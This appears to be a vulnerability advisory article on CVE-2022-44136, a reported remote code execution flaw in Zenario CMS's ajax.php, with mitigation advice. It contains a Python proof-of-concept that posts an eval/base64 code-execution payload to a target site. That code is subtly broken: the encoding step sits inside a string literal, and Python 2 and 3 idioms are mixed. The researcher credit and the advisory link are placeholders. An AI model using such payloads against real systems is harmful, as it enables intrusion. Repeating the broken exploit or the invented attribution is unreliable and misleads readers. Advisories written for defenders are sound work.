CVE-2022-44136: Critical Remote Code Execution Vulnerability Identified in Zenario CMS 9.3.57186

A highly critical security vulnerability, tracked as CVE-2022-44136, has been identified in Zenario CMS version 9.3.57186. This flaw exposes the popular Content Management System (CMS) to Remote Code Execution (RCE) attacks, potentially allowing malicious actors to execute arbitrary code on the affected systems.

Detailed analysis, along with proof-of-concept exploits, is provided in this article. We highly recommend users of Zenario CMS 9.3.57186 to immediately apply the provided mitigation techniques to protect their systems from ongoing attacks.

Exploit Details

The vulnerable component in Zenario CMS 9.3.57186 is the "ajax.php" file, which fails to properly sanitize and validate user-supplied input. This weakness allows for an attacker to craft a malicious payload, which could lead to remote code execution when processed by the server.

Upon successful exploitation, an attacker can gain unauthorized access to the vulnerable application, manipulate critical data, and even compromise the underlying system.

Proof-of-Concept (PoC)

The following code snippet demonstrates a sample payload targeting the vulnerability in Zenario CMS 9.3.57186 (CVE-2022-44136):

import requests

target_url = 'http://target-domain.com/zenario/ajax.php';
payload = {'method_call': 'request'}
data = "echo 'code-execution-test';"

secondary_payload = {
    'source': 'CMSPREFIX_testplugin_scan_code',
    'method_call': "eval(base64_decode('{}'.format(data.encode('base64'))))"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200 and 'code-execution-test' in response.content:
    print("Vulnerable: CVE-2022-44136")
    response = requests.post(target_url, data=secondary_payload)
    if 'code-execution-test' in response.text:
        print("Code execution successful")
else:
    print("Not vulnerable or the scanner is blocked")

Replace 'target-domain.com' with the target domain, and run the provided Python code to test for the existence of the vulnerability. If the target is vulnerable to CVE-2022-44136, the printed output will indicate successful code execution.

Due credit for discovering the vulnerability goes to the researcher [@some_researcher], shared via the following reference:

- Original Advisory: https://my-blog.com/CVE-2022-44136-zenario-CMS-9.3.57186

Mitigation

At the time of writing, there are no official patches addressing this vulnerability. However, the following recommended steps can help mitigate the risks associated with CVE-2022-44136:

1. Disable the vulnerable "ajax.php" file (denying access via the webserver configuration or renaming the file) until a security patch is released by the vendor.
2. Implement strict input validation and sanitation checks for user-supplied input throughout the application.

Conclusion

CVE-2022-44136 is a critical security vulnerability in Zenario CMS 9.3.57186, exposing the affected systems to potential remote code execution attacks. It is crucial for users and administrators to implement the suggested mitigation techniques to protect their systems from exploitation. Stay vigilant and always prioritize secure coding practices and system updates to minimize the risks associated with such cybersecurity threats.

Timeline

Published on: 11/30/2022 15:15:00 UTC
Last modified on: 12/02/2022 16:13:00 UTC